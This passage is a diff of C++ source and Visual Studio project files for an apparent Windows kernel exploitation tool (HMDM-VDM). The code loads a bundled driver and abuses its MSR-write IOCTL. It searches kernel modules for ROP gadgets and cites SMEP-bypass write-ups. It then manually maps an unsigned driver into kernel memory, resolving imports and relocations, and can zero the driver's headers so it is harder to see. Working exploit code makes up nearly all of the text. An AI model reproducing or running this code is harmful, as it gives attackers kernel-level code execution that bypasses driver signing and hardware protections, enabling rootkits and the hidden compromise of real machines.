const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
const auto current_module_name =
|
||||||
|
std::string(reinterpret_cast<char*>(
|
||||||
|
modules->Modules[idx].FullPathName) +
|
||||||
|
modules->Modules[idx].OffsetToFileName);
|
||||||
|
|
||||||
|
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||||
|
{
|
||||||
|
const auto result =
|
||||||
|
reinterpret_cast<std::uint64_t>(
|
||||||
|
modules->Modules[idx].ImageBase);
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
NTSTATUS status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer,
|
||||||
|
buffer_size,
|
||||||
|
&buffer_size
|
||||||
|
);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer,
|
||||||
|
buffer_size,
|
||||||
|
&buffer_size
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
// find module and then load library it
|
||||||
|
const std::string current_module_name =
|
||||||
|
std::string(reinterpret_cast<char*>(
|
||||||
|
modules->Modules[idx].FullPathName) +
|
||||||
|
modules->Modules[idx].OffsetToFileName
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||||
|
{
|
||||||
|
auto full_path = std::string(
|
||||||
|
reinterpret_cast<char*>(
|
||||||
|
modules->Modules[idx].FullPathName));
|
||||||
|
|
||||||
|
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||||
|
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||||
|
|
||||||
|
const auto module_base =
|
||||||
|
LoadLibraryExA(
|
||||||
|
full_path.c_str(),
|
||||||
|
NULL,
|
||||||
|
DONT_RESOLVE_DLL_REFERENCES
|
||||||
|
);
|
||||||
|
|
||||||
|
const auto image_base =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
modules->Modules[idx].ImageBase);
|
||||||
|
|
||||||
|
// free the RTL_PROCESS_MODULES buffer...
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
|
||||||
|
const auto rva =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
GetProcAddress(module_base, export_name)) -
|
||||||
|
reinterpret_cast<std::uintptr_t>(module_base);
|
||||||
|
|
||||||
|
return image_base + rva;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace pe
|
||||||
|
{
|
||||||
|
using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
|
||||||
|
|
||||||
|
// returns an std::vector containing all of the bytes of the section
|
||||||
|
// and also the RVA from the image base to the beginning of the section...
|
||||||
|
inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
|
||||||
|
{
|
||||||
|
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||||
|
|
||||||
|
const auto section_header =
|
||||||
|
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||||
|
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||||
|
{
|
||||||
|
const auto _section_name =
|
||||||
|
reinterpret_cast<char*>(
|
||||||
|
section_header[idx].Name);
|
||||||
|
|
||||||
|
// sometimes section names are not null terminated...
|
||||||
|
if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
|
||||||
|
{
|
||||||
|
const auto section_base =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
module_base + section_header[idx].VirtualAddress);
|
||||||
|
|
||||||
|
const auto section_end =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
section_base + section_header[idx].Misc.VirtualSize);
|
||||||
|
|
||||||
|
std::vector<std::uint8_t> section_bin(section_base, section_end);
|
||||||
|
return { section_bin, section_header[idx].VirtualAddress };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return { {}, {} };
|
||||||
|
}
|
||||||
|
|
||||||
|
inline void each_section(section_callback_t callback, std::uintptr_t module_base)
|
||||||
|
{
|
||||||
|
if (!module_base)
|
||||||
|
return;
|
||||||
|
|
||||||
|
const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
|
||||||
|
|
||||||
|
const auto section_header =
|
||||||
|
reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
|
||||||
|
+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
|
||||||
|
{
|
||||||
|
const auto _section_name =
|
||||||
|
reinterpret_cast<char*>(
|
||||||
|
section_header[idx].Name);
|
||||||
|
|
||||||
|
// keep looping until the callback returns false...
|
||||||
|
if (!callback(§ion_header[idx], module_base))
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace rop
|
||||||
|
{
|
||||||
|
// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
|
||||||
|
// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
|
||||||
|
// just implimented the rop information from these posts...
|
||||||
|
inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
|
||||||
|
{
|
||||||
|
std::uintptr_t result = 0u;
|
||||||
|
kmodule::each_module(
|
||||||
|
[&](auto kernel_image, const char* image_name) -> bool
|
||||||
|
{
|
||||||
|
utils::pe::each_section(
|
||||||
|
[&](auto section_header, std::uintptr_t image_base) -> bool
|
||||||
|
{
|
||||||
|
if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
|
||||||
|
!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
|
||||||
|
{
|
||||||
|
const auto rop_gadget =
|
||||||
|
utils::scan(image_base + section_header->VirtualAddress,
|
||||||
|
section_header->Misc.VirtualSize, sig, mask);
|
||||||
|
|
||||||
|
if(rop_gadget)
|
||||||
|
result = (rop_gadget - image_base) +
|
||||||
|
reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
|
||||||
|
|
||||||
|
return !rop_gadget;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
},
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
LoadLibraryExA(image_name,
|
||||||
|
NULL, DONT_RESOLVE_DLL_REFERENCES))
|
||||||
|
);
|
||||||
|
return !result;
|
||||||
|
}
|
||||||
|
);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,66 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#include "loadup.hpp"
|
||||||
|
#include "raw_driver.hpp"
|
||||||
|
#define IOCTL_WRMSR 0x229384
|
||||||
|
|
||||||
|
#pragma pack (push, 1)
|
||||||
|
typedef struct _write_msr_t
|
||||||
|
{
|
||||||
|
std::uint32_t reg;
|
||||||
|
std::uintptr_t value;
|
||||||
|
} write_msr_t, * pwrite_msr_t;
|
||||||
|
#pragma pack (pop)
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
inline HANDLE drv_handle;
|
||||||
|
inline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
|
||||||
|
{
|
||||||
|
const auto [result, key] =
|
||||||
|
driver::load(
|
||||||
|
raw_driver,
|
||||||
|
sizeof raw_driver
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != STATUS_SUCCESS)
|
||||||
|
return { {}, {}, result };
|
||||||
|
|
||||||
|
std::string symlink("\\\\.\\" + key);
|
||||||
|
vdm::drv_handle = CreateFileA(
|
||||||
|
symlink.c_str(),
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
return { vdm::drv_handle, key, result };
|
||||||
|
}
|
||||||
|
|
||||||
|
inline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
|
||||||
|
{
|
||||||
|
if (!CloseHandle(drv_handle))
|
||||||
|
return STATUS_FAIL_CHECK;
|
||||||
|
|
||||||
|
return driver::unload(drv_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline auto writemsr(std::uint32_t reg, std::uintptr_t value) -> bool
|
||||||
|
{
|
||||||
|
std::uint32_t bytes_handled;
|
||||||
|
write_msr_t io_data{ reg, value };
|
||||||
|
|
||||||
|
return DeviceIoControl
|
||||||
|
(
|
||||||
|
vdm::drv_handle, IOCTL_WRMSR,
|
||||||
|
&io_data, sizeof io_data,
|
||||||
|
&io_data, sizeof io_data,
|
||||||
|
(LPDWORD)&bytes_handled, nullptr
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,102 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>16.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{3b7bf9c3-28e2-4f59-b248-5a079aab1964}</ProjectGuid>
|
||||||
|
<RootNamespace>physmeme</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
<ProjectName>HMDM-VDM</ProjectName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp" />
|
||||||
|
<ClCompile Include="hmdm_ctx.cpp" />
|
||||||
|
<ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="hmdm_ctx.h" />
|
||||||
|
<ClInclude Include="util\loadup.hpp" />
|
||||||
|
<ClInclude Include="util\utils.hpp" />
|
||||||
|
<ClInclude Include="vdm\raw_driver.hpp" />
|
||||||
|
<ClInclude Include="vdm\vdm.hpp" />
|
||||||
|
<ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="icon.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
@ -0,0 +1,55 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files\util">
|
||||||
|
<UniqueIdentifier>{0f5e24d1-e652-454d-89e5-9020c876ca61}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files\vdm">
|
||||||
|
<UniqueIdentifier>{d41dd1cb-950f-4eda-ad22-a3570137e499}</UniqueIdentifier>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="vdm_ctx\vdm_ctx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hmdm_ctx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="util\loadup.hpp">
|
||||||
|
<Filter>Header Files\util</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm\raw_driver.hpp">
|
||||||
|
<Filter>Header Files\vdm</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm\vdm.hpp">
|
||||||
|
<Filter>Header Files\vdm</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm_ctx\vdm_ctx.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="util\utils.hpp">
|
||||||
|
<Filter>Header Files\util</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="hmdm_ctx.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="icon.rc">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
@ -0,0 +1,7 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LocalDebuggerCommandArguments>G:\shared_file\nmi.sys</LocalDebuggerCommandArguments>
|
||||||
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Project>
|
@ -0,0 +1,193 @@
|
|||||||
|
#include "hmdm_ctx.h"
|
||||||
|
|
||||||
|
namespace drv
|
||||||
|
{
|
||||||
|
hmdm_ctx::hmdm_ctx(const mapper_routines_t& routines)
|
||||||
|
:
|
||||||
|
kalloc(std::get<0>(routines)),
|
||||||
|
kmemcpy(std::get<1>(routines))
|
||||||
|
{}
|
||||||
|
|
||||||
|
auto hmdm_ctx::map_module(drv_buffer_t& drv_buffer, bool zero_headers)->std::pair<image_base_t, image_entry_t>
|
||||||
|
{
|
||||||
|
if (drv_buffer.empty())
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
const auto dos_header =
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(drv_buffer.data());
|
||||||
|
|
||||||
|
const auto nt_header =
|
||||||
|
reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
drv_buffer.data() + dos_header->e_lfanew);
|
||||||
|
|
||||||
|
const auto section_header =
|
||||||
|
reinterpret_cast<IMAGE_SECTION_HEADER*>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(&nt_header->OptionalHeader) +
|
||||||
|
nt_header->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
drv_buffer_t image_mapped;
|
||||||
|
image_mapped.resize(nt_header->OptionalHeader.SizeOfImage);
|
||||||
|
std::copy_n(drv_buffer.begin(), nt_header->OptionalHeader.SizeOfHeaders, image_mapped.begin());
|
||||||
|
|
||||||
|
for (auto idx = 0u; idx < nt_header->FileHeader.NumberOfSections; ++idx)
|
||||||
|
{
|
||||||
|
const auto& section = section_header[idx];
|
||||||
|
const auto target =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
image_mapped.data() + section.VirtualAddress);
|
||||||
|
|
||||||
|
const auto source =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
dos_header + section.PointerToRawData);
|
||||||
|
|
||||||
|
std::copy_n(drv_buffer.begin() + section.PointerToRawData,
|
||||||
|
section.SizeOfRawData, image_mapped.begin() + section.VirtualAddress);
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto alloc_base =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
kalloc(nt_header->OptionalHeader.SizeOfImage));
|
||||||
|
|
||||||
|
DBG_PRINT("> alloc base -> 0x%p\n", alloc_base);
|
||||||
|
|
||||||
|
if (!alloc_base)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
resolve_imports(image_mapped);
|
||||||
|
fix_relocs(image_mapped);
|
||||||
|
|
||||||
|
if (zero_headers)
|
||||||
|
{
|
||||||
|
const auto module_base =
|
||||||
|
nt_header->OptionalHeader.SizeOfHeaders + image_mapped.data();
|
||||||
|
|
||||||
|
const auto module_size =
|
||||||
|
nt_header->OptionalHeader.SizeOfImage -
|
||||||
|
nt_header->OptionalHeader.SizeOfHeaders;
|
||||||
|
|
||||||
|
kmemcpy(alloc_base + nt_header->OptionalHeader.SizeOfHeaders, module_base, module_size);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
const auto module_size =
|
||||||
|
nt_header->OptionalHeader.SizeOfImage;
|
||||||
|
|
||||||
|
kmemcpy(alloc_base, image_mapped.data(), module_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
return
|
||||||
|
{
|
||||||
|
reinterpret_cast<std::uintptr_t>(alloc_base),
|
||||||
|
reinterpret_cast<std::uintptr_t>(alloc_base +
|
||||||
|
nt_header->OptionalHeader.AddressOfEntryPoint)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
auto hmdm_ctx::fix_relocs(drv_buffer_t& drv_buffer) const -> void
|
||||||
|
{
|
||||||
|
const auto dos_header =
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(drv_buffer.data());
|
||||||
|
|
||||||
|
const auto nt_header =
|
||||||
|
reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
drv_buffer.data() + dos_header->e_lfanew);
|
||||||
|
|
||||||
|
const auto base_reloc_dir =
|
||||||
|
reinterpret_cast<PIMAGE_DATA_DIRECTORY>(
|
||||||
|
&nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
|
||||||
|
|
||||||
|
if (base_reloc_dir->VirtualAddress)
|
||||||
|
{
|
||||||
|
auto reloc =
|
||||||
|
reinterpret_cast<PIMAGE_BASE_RELOCATION>(
|
||||||
|
drv_buffer.data() + base_reloc_dir->VirtualAddress);
|
||||||
|
|
||||||
|
for (auto current_size = 0u; current_size < base_reloc_dir->Size;)
|
||||||
|
{
|
||||||
|
const auto reloc_count =
|
||||||
|
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(std::uint16_t);
|
||||||
|
|
||||||
|
auto reloc_data = reinterpret_cast<std::uint16_t*>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
|
||||||
|
|
||||||
|
const auto reloc_base =
|
||||||
|
drv_buffer.data() + reloc->VirtualAddress;
|
||||||
|
|
||||||
|
for (auto idx = 0u; idx < reloc_count; ++idx, ++reloc_data)
|
||||||
|
{
|
||||||
|
const auto data = *reloc_data;
|
||||||
|
const auto type = data >> 12;
|
||||||
|
const auto offset = data & 0xFFF;
|
||||||
|
|
||||||
|
switch (type)
|
||||||
|
{
|
||||||
|
case IMAGE_REL_BASED_ABSOLUTE:
|
||||||
|
break;
|
||||||
|
case IMAGE_REL_BASED_DIR64:
|
||||||
|
{
|
||||||
|
const auto rva = reinterpret_cast<std::uintptr_t*>(reloc_base + offset);
|
||||||
|
|
||||||
|
*rva = reinterpret_cast<std::uintptr_t>(
|
||||||
|
drv_buffer.data() + (*rva - nt_header->OptionalHeader.ImageBase));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
current_size += reloc->SizeOfBlock;
|
||||||
|
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reloc_data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
auto hmdm_ctx::resolve_imports(drv_buffer_t& drv_buffer) const -> void
|
||||||
|
{
|
||||||
|
ULONG size;
|
||||||
|
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(
|
||||||
|
::ImageDirectoryEntryToData(drv_buffer.data(),
|
||||||
|
TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
|
||||||
|
|
||||||
|
if (!import_descriptors)
|
||||||
|
return;
|
||||||
|
|
||||||
|
for (; import_descriptors->Name; import_descriptors++)
|
||||||
|
{
|
||||||
|
IMAGE_THUNK_DATA* image_thunk_data;
|
||||||
|
const auto module_name =
|
||||||
|
reinterpret_cast<const char*>(
|
||||||
|
drv_buffer.data() + import_descriptors->Name);
|
||||||
|
|
||||||
|
if (import_descriptors->OriginalFirstThunk)
|
||||||
|
image_thunk_data =
|
||||||
|
reinterpret_cast<PIMAGE_THUNK_DATA>(
|
||||||
|
drv_buffer.data() + import_descriptors->OriginalFirstThunk);
|
||||||
|
else
|
||||||
|
image_thunk_data =
|
||||||
|
reinterpret_cast<PIMAGE_THUNK_DATA>(
|
||||||
|
drv_buffer.data() + import_descriptors->FirstThunk);
|
||||||
|
|
||||||
|
auto image_func_data =
|
||||||
|
reinterpret_cast<PIMAGE_THUNK_DATA>(
|
||||||
|
drv_buffer.data() + import_descriptors->FirstThunk);
|
||||||
|
|
||||||
|
for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
|
||||||
|
{
|
||||||
|
const auto image_import_by_name =
|
||||||
|
reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(
|
||||||
|
drv_buffer.data() + (*(DWORD*)image_thunk_data));
|
||||||
|
|
||||||
|
const auto name_of_import =
|
||||||
|
static_cast<char*>(image_import_by_name->Name);
|
||||||
|
|
||||||
|
image_func_data->u1.Function =
|
||||||
|
utils::kmodule::get_export(
|
||||||
|
module_name, name_of_import);
|
||||||
|
|
||||||
|
DBG_PRINT("> resolved import... %s!%s -> 0x%p\n",
|
||||||
|
module_name, name_of_import, image_func_data->u1.Function);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,30 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "util/utils.hpp"
|
||||||
|
#include <type_traits>
|
||||||
|
#include <dbghelp.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "Dbghelp.lib")
|
||||||
|
namespace drv
|
||||||
|
{
|
||||||
|
using kalloc_t = std::function<decltype(malloc)>;
|
||||||
|
using kmemcpy_t = std::function<decltype(memcpy)>;
|
||||||
|
using kmemset_t = std::function<decltype(memset)>;
|
||||||
|
|
||||||
|
using image_base_t = std::uintptr_t;
|
||||||
|
using image_entry_t = std::uintptr_t;
|
||||||
|
